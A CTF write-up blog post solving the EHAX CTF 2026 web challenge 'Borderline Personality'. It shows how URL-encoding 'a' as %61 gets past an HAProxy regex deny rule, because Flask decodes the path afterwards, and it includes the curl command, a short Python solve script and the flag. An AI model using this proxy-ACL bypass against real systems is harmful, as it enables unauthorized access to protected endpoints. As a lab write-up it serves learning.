300 words
2 minutes
EHAX CTF 2026 - Borderline Personality - Web Exploitation Writeup

Category: Web Exploitation
Flag: EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

Challenge Description#

The proxy thinks it’s in control. The backend thinks it’s safe. Find the space between their lies and slip through.

Analysis#

I started by pulling the handout contents and immediately saw that this challenge gave both sides of the stack: HAProxy config and backend Flask code. That usually means the intended bug is a parser differential, not brute-force fuzzing.

unzip -l "handout.zip"
Archive:  handout.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      513  02-27-2026 22:45   handout/backend/app.py
      438  02-28-2026 00:48   handout/haproxy/haproxy.cfg
      277  02-27-2026 20:07   handout/docker-compose.yml
...

To confirm the exact mismatch, I extracted the blocking rule and the protected backend route in one shot. The critical values were ^/+admin on the proxy and /admin/flag on Flask. That combination means HAProxy blocks only literal paths matching the regex, while the backend route match happens after URL decoding.

rg -n "restricted_path|/admin/flag" "/home/rei/Downloads/handout/haproxy/haproxy.cfg" "/home/rei/Downloads/handout/backend/app.py"
/home/rei/Downloads/handout/backend/app.py:19:@app.route('/admin/flag', methods=['GET', 'POST'])
/home/rei/Downloads/handout/haproxy/haproxy.cfg:16:    acl restricted_path path -m reg ^/+admin
/home/rei/Downloads/handout/haproxy/haproxy.cfg:17:    http-request deny if restricted_path

I verified baseline behavior first: direct access to /admin/flag is denied by HAProxy with a clean 403, so the block is definitely active at the edge.

curl -i -s "http://chall.ehax.in:9098/admin/flag"
HTTP/1.0 403 Forbidden
...
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>

Once that was confirmed, the bypass was the smallest canonicalization probe: encode the first a in admin as %61 and keep the rest untouched. HAProxy sees /%61dmin/flag (doesn’t match ^/+admin), forwards it, Flask decodes it to /admin/flag, and the protected handler returns the flag.

smug

curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"
HTTP/1.1 200 OK
Server: gunicorn
...
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

This was a clean proxy/backend normalization mismatch: deny rule evaluated pre-decode, route matched post-decode.

Solution#

# solve.py
import re
import requests

url = "http://chall.ehax.in:9098/%61dmin/flag"
response = requests.get(url, timeout=10)
print(response.text, end="")

match = re.search(r"EH4X\{[^}]+\}", response.text)
if match:
    print(f"\nFlag: {match.group(0)}")
curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"
HTTP/1.1 200 OK
Server: gunicorn
Date: Fri, 27 Feb 2026 22:07:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52

EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}
EHAX CTF 2026 - Borderline Personality - Web Exploitation Writeup
https://blog.rei.my.id/posts/65/ehax-ctf-2026-borderline-personality-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-01
License
CC BY-NC-SA 4.0